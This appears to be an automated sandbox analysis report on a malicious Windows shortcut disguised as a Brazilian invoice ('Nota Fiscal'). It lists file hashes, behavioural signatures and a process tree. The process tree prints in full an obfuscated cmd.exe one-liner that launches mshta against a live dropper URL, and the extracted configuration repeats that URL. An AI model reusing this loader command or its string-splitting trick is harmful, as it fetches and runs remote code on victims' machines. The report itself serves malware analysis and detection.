Analysis
- user interaction
yes - max time kernel
116s - max time network
120s - platform
windows10-ltsc_2021_x64 - resource
win10ltsc2021-20260513-en - resource tags
arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows - submitted
13/08/2026, 02:41
Static task
static1
Behavioral task
behavioral1
Sample
Nota_Fiscal_-PDRAWN.lnk
Resource
win10ltsc2021-20260513-en
windows10-ltsc_2021-x64
15 signatures
150 seconds
General
- Target Nota_Fiscal_-PDRAWN.lnk
- Size 1KB
- Sample260813-c6ynvszeph
- SHA256 f0e5fc4c8528710ec4059728a03d832a1937f92033f81b3a80d6f213e937c037
- MD5 d396c0e5e2bf336e6044ffb8012ca009
- SHA1 cbc46984d0af26a6ba58ad85ffe072f89751b010
- SHA512 10536d2cf23ac43b852dc0346df1a76ffbef6022bc3bc7f18207f85bd97254a00c5e89283513751466c7d4008c77e8575f9617384c22e612b665e991e0682ed5
- TLSH T19631D6442AEA4A10D1F39F7BD8BED70089B57521ED71C76D4A40418C5425602FB7BB3B
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://sis.notaeletronicaxml.com/h/estagio1.php?r=391C7CE85D88
Signatures
- Badlisted process makes network request 4 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 6 1064 mshta.exe 7 1064 mshta.exe 13 1064 mshta.exe 15 1064 mshta.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\Control Panel\International\Geo\Nation cmd.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\system32\taskschd.msc mmc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2956 cmd.exe 4848 cmd.exe - Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName taskmgr.exe - Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000_Classes\Local Settings taskmgr.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 1808 mmc.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2816 taskmgr.exe Token: SeSystemProfilePrivilege 2816 taskmgr.exe Token: SeCreateGlobalPrivilege 2816 taskmgr.exe Token: 33 1808 mmc.exe Token: SeIncBasePriorityPrivilege 1808 mmc.exe Token: 33 1808 mmc.exe Token: SeIncBasePriorityPrivilege 1808 mmc.exe Token: 33 1808 mmc.exe Token: SeIncBasePriorityPrivilege 1808 mmc.exe Token: 33 1808 mmc.exe Token: SeIncBasePriorityPrivilege 1808 mmc.exe Token: 33 1808 mmc.exe Token: SeIncBasePriorityPrivilege 1808 mmc.exe Token: 33 1808 mmc.exe Token: SeIncBasePriorityPrivilege 1808 mmc.exe Token: 33 1808 mmc.exe Token: SeIncBasePriorityPrivilege 1808 mmc.exe Token: 33 1808 mmc.exe Token: SeIncBasePriorityPrivilege 1808 mmc.exe Token: 33 1808 mmc.exe Token: SeIncBasePriorityPrivilege 1808 mmc.exe Token: 33 1808 mmc.exe Token: SeIncBasePriorityPrivilege 1808 mmc.exe Token: 33 1808 mmc.exe Token: SeIncBasePriorityPrivilege 1808 mmc.exe Token: 33 1808 mmc.exe Token: SeIncBasePriorityPrivilege 1808 mmc.exe Token: 33 1808 mmc.exe Token: SeIncBasePriorityPrivilege 1808 mmc.exe Token: 33 1808 mmc.exe Token: SeIncBasePriorityPrivilege 1808 mmc.exe Token: 33 1808 mmc.exe Token: SeIncBasePriorityPrivilege 1808 mmc.exe Token: 33 1808 mmc.exe Token: SeIncBasePriorityPrivilege 1808 mmc.exe Token: 33 1808 mmc.exe Token: SeIncBasePriorityPrivilege 1808 mmc.exe Token: 33 1808 mmc.exe Token: SeIncBasePriorityPrivilege 1808 mmc.exe Token: 33 1808 mmc.exe Token: SeIncBasePriorityPrivilege 1808 mmc.exe Token: 33 1808 mmc.exe Token: SeIncBasePriorityPrivilege 1808 mmc.exe Token: 33 1808 mmc.exe Token: SeIncBasePriorityPrivilege 1808 mmc.exe Token: 33 1808 mmc.exe Token: SeIncBasePriorityPrivilege 1808 mmc.exe Token: 33 1808 mmc.exe Token: SeIncBasePriorityPrivilege 1808 mmc.exe Token: 33 1808 mmc.exe Token: SeIncBasePriorityPrivilege 1808 mmc.exe Token: 33 1808 mmc.exe Token: SeIncBasePriorityPrivilege 1808 mmc.exe Token: 33 1808 mmc.exe Token: SeIncBasePriorityPrivilege 1808 mmc.exe Token: 33 1808 mmc.exe Token: SeIncBasePriorityPrivilege 1808 mmc.exe Token: 33 1808 mmc.exe Token: SeIncBasePriorityPrivilege 1808 mmc.exe Token: 33 1808 mmc.exe Token: SeIncBasePriorityPrivilege 1808 mmc.exe Token: 33 1808 mmc.exe Token: SeIncBasePriorityPrivilege 1808 mmc.exe Token: 33 1808 mmc.exe - Suspicious use of FindShellTrayWindow 64 IoCs
pid Process 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 1064 mshta.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe - Suspicious use of SendNotifyMessage 64 IoCs
pid Process 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe 2816 taskmgr.exe - Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 1808 mmc.exe 1808 mmc.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 2956 wrote to memory of 4848 2956 cmd.exe 84 PID 4848 wrote to memory of 1064 4848 cmd.exe 85 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Nota_Fiscal_-PDRAWN.lnk1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2956 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /c "set a=msh&& set b=ta&& set c=https://&& set d=sis.notaeletronicaxml.com&& set e=/h/estagio1.php?r=391C7CE85D88&& !a!!b! !c!!d!!e!"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4848 -
C:\Windows\System32\mshta.exemshta https://sis.notaeletronicaxml.com/h/estagio1.php?r=391C7CE85D883⤵
- Badlisted process makes network request
- Suspicious use of FindShellTrayWindow
PID:1064
-
-
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵PID:4440
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Checks SCSI registry key(s)
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2816
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /71⤵PID:4336
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\taskschd.msc" /s1⤵
- Drops file in System32 directory
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:1808